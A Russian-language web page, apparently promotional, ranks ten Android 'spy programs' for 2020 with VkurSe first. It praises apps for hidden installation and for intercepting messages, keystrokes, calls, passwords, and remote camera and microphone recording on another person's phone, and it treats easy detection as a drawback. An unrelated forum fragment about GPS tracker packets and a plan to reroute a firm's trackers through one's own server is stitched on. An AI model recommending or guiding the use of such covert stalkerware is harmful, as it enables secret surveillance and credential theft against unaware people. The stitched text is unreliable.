На Cell Phone Spy PRO отзывы хорошие, так как устанавливается она быстро, работает хорошо, да еще и бесплатно. Занимает 9 место в рейтинге «10-ка лучших шпионских программ 2020 года».

8 место – программа Mobile-Spy

Mobile-Spy – программа шпион для мобильного телефона, имеет стандартный функционал (звонки, смс-сообщения, запись окружения и определение местоположения), а также удаленную блокировку и установку приложений. Перехватывать текстовые сообщения с социальных сетей она не может.

На Mobile-Spy отзывы хорошие, она является достаточно надежной и недорогой утилитой. Само приложение Mobile-Spy скачать можно на их официальном сайте, потом нужно будет установить его на подконтрольный телефон, а все данные будут приходить в кабинет на сайте, который откроется после регистрации. Из-за того, что Mobile-Spy хоть и имеет небольшой функционал, но она надежная, она попадает в 10-ку лучших шпионских программ 2020 года и занимает 8 место.

7 место — программа NewSpy Mobile

NewSpy Mobile – программа шпион для Андроид, простая и достаточно эффективная, но имеющая ограниченный функционал. С помощью нее можно будет видеть местоположение, список входящих и исходящих телефонных звонков, набранный текст на клавиатуре и фотографии, хранимые на этом устройстве, а также сможете читать смс-сообщения. Если NewSpy установить через Google Play, тогда его будет видно в списке «Мои приложения» и удаляется он как обычные установленные приложения на телефоне. Если же нужна скрытая слежка, тогда NewSpy скачать нужно с их официального сайта и скрыть после установки.

На NewSpy отзывы в большинстве случаев хорошие, единственное что не радует в этой программе, что она довольно легко «вычисляется» на смартфоне и ее может удалить даже ребенок. Поэтому из-за небольшого функционала и легкого удаления с подконтрольного телефона NewSpy Mobile занимает 7 место.

6 место — программа TrackView на русском

TrackView – камера шпион с возможностью определения местоположения. Кроме стандартных функций имеет уникальную возможность – включать дистанционно камеру, которая передает данные в режиме Онлайн. Такая скрытая слежка через телефон позволит видеть все что происходит вокруг – это прекрасная программа для наблюдения за ребенком. Однако на этом ее возможности заканчиваются.

TrackView скачать можно на их сайте, приложение скрывается после установки. На приложение TrackView отзывы хорошие, работает исправно, но из-за достаточно скудного функционала она попадает на 6 место в десятке лучших шпионских программ 2020 года.

5 место — сервис MobileTool официальный

MobileTool — программа для удаленного доступа c компьютера к телефону, на котором она должна быть установлена. Большой функционал, разделяющийся на тот который доступен без рут прав и который доступен с рут правами. Огромный список социальных сетей и мессенджеров, с которых возможен перехват переписок. Mobile Tool скачать можно на сайте. Работать Mobile Tool бесплатно будет то ли 2, то ли 3 дня (там не совсем понятно с этим) – выдается демоверсия для проверки работы софта.

На Mobile Tool отзывы не совсем хорошие, многие жалуются на нестабильность приложения и несвоевременность передачи данных, а также на то, что часто нет синхронизации и что цены высокие (0,5$ в сутки). Именно поэтому данный софт находится только на 5 месте в рейтинге «Лучших программ шпионов 2020 года», несмотря на их действительно широкие возможности.

4 место — программа Android Monitor

Android Monitor – программа шпион на телефон Андроид, позволяющая слышать и видеть все что происходит вокруг телефона, поддерживает практически все функции многофункциональных приложений для слежки. Android Monitor бесплатно работает 3 дня. Демоверсия значительно отличается от оплаченной и поэтому проверить полностью весь функционал в предоставленный бесплатный период не получится.

Если прочитать на форуме об Android Monitor отзывы, то видно, что программа часто дает сбои. В конечном итоге все проблемы конечно решаются, но это представляет массу неудобств клиентам данного софта.

Установочный файл приложения Android Monitor скачать можно на их сайте. Регистрация и установка стандартная. Совсем недавно перестали поддерживать бесплатные аккаунты «Базовых пользователей», чем растеряли многих своих клиентов, которые пользовались этим приложением именно из-за этой возможности. Кроме того, оплата производится за одно устройство, т.е. оплачивается работа по каждому подключенному устройству отдельно. Благодаря своему богатому функционалу в списке десяти лучших программ шпионов 2020 года занимает 4 место.

3 место — FlexiSpy официальный сервис

FlexiSpy – это шпионская программа для слежения за телефоном Андроид, имеющая весь стандартный набор шпионской программы, но имеет одну несомненно уникальную способность – она может перехватить пароли блокировки экрана, электронных ящиков и социальных сетей, чего недоступно многим мобильным шпионам. Но, создатели не гарантируют сохранность данных в личном кабинете, которая поступает с подконтрольного Андроида. Именно поэтому она получает «бронзу».

2 место — Talklog и Talklog tools

Talklog – проверенная временем качественная программа слежения за телефоном Андроид. Однако имеет довольно небольшой функционал: запись звонков, смс-сообщений, местоположение, история web-браузера, учет и контроль установленных приложений на телефоне и удаленный аудиоконтроль. Есть у программы Talklog сайт официальный, где представлено подробное описание установки.

Установочный файл Talklog скачать можно бесплатно и установить на телефон, но потом нужно будет оплатить его работу. Если прочитать об Talklog отзывы, то видно, что пользователи довольны и с благодарностью отзываются о его работе. Занимает почетное 2 место, благодаря своему прекрасному качеству работы.

1 место — VkurSe программа шпион

VkurSe – многофункциональная программа слежения за телефоном Андроид, занимает 1 место в списке «Лучших шпионских программ для Android 2020 года». Без рут прав Вы сможете получать: запись телефонных разговоров, смс-сообщения, местоположение, содержимое внутренних папок телефона, скачивать хранящиеся там фотографии, видеть список контактов и делать удаленно фото с камеры и запись окружения. Кроме того, без рут прав вы сможете читать входящие сообщения с WhatsApp, Viber, Telegram, Imo и Gem4me, ВКонтакте, Instagram, Одноклассники, Facebook и KateMobile для ВКонтакте (которые будут приходить в шторку подконтрольного телефона) – это уникальная возможность читать входящие сообщения без рут прав.

С рут правами функционал VkurSe становится еще обширнее – это и перехват сообщений с вышеописанных приложений, это и скриншоты экрана (хоть каждые 5 секунд), это и перехват клавиатуры, это и удаленное управление телефона, это и запись звонков с WhatsApp и запись всех голосовых сообщений с WhatsApp, Viber, Telegram и Imo. Полный список функций можно посмотреть во вкладке Возможности. Оплата происходит за 1 аккаунт (персональный кабинет) к которому можно привязать до 10 устройств одновременно.

Одним из огромных плюсов сервиса можно отметить — его круглосуточную техническую поддержку, специалисты всегда готовы помочь своим клиентам в решений возникших проблем.

Подробно о том, как устанавливается приложение VkurSe на подконтрольный телефон Андроид, можно прочитать в статье «Как правильно установить приложение VkurSe». А также по всем интересующим Вас вопросам можно обратиться в онлайн консультант или заказать обратный звонок.

И помните — выбор всегда остается за Вами!

Источник статьи: http://vkur1.se/top-10-luchshie-programmy-shpiony-dlya-telefona-android-v-2019-godu/

Frozik6k, 4 не должен случайно зависнуть в момент прямой передачи пакетов…
А по сути — конечно можно!
3 — не обязатально быть постоянно в сети, если данные кешируются у клиента и отдаются при появлении «сервера» большими упакованными пакетами (можно будет с небольшим опазданием треки просматривать)
2 — не обязательно, если завести «посредника» — некое «временное хранилище» в сети. Да хоть гугл-games вроде что-то подобное предоставляет (недавно интерересовался) — для совместных игр и хранения межигорных «чемпионов». Там можно хранить небольшой пакет с адресами, которые сервер заберет, как только появится, выслав подтверждение о получении…

Цитата
Сообщение от OlegJV
Посмотреть сообщение

При чем тут pdf? Это ответ на тестовый запрос с целью сориентироваться в ценах.

в pdf сразу шло и предложение по серверной части! Да и вообще без заранее спланированного ТИПА сервера за клиента рано браться — есть как минимум 3 вида отправки данных на сервер — sms, socket, push(вызов например страницы php).

Я когда-то изучал эту задачу!

Не по теме:

Хотел одну фирму (на моем обслуживании по учетной программе) «ломануть» и предложить более удобное решение. У них были гаджеты (размером в пол сигаретной пачки), которые через сокеты отправляли данные на некий сервер, а тот отображал их на карте. Я хотел написать «посредника», на который перенастроил бы гаджеты, сохранял бы полученные координаты в СВОЮ базу, а потом эмулируя устройство отсылал бы по старому адресу, старой карте. Хотел «по своему» отображать треки и накапливать их для анализа и оптимизации в учетной программе

Я изучил такие «готовые» китайские устройства! Есть минимум 20 ФОРМАТОВ пакетов, которые они отправляют!!! Через запятую, через точку с запятой, в начале координаты, в начале уровень топлива в баке, в начале уровень заряда устройства, в начале уровень сигнала, со скоростью, без скорости, с уровнем над моря, с кучей дополнительных датчиков включая температуру воздуха, двигателя и уровень масла… Уверен что твоя клиентская программа отсылающая данные (сделанная за час-два «на коленке») подойдет под один из «стандартных» серверов отображения карты?

Понравилась статья? Поделить с друзьями:
  • Как написать программу для сканера штрих кода
  • Как написать программу на си шарп
  • Как написать программу для робота сумоиста
  • Как написать программу на радио
  • Как написать программу для робота на учи ру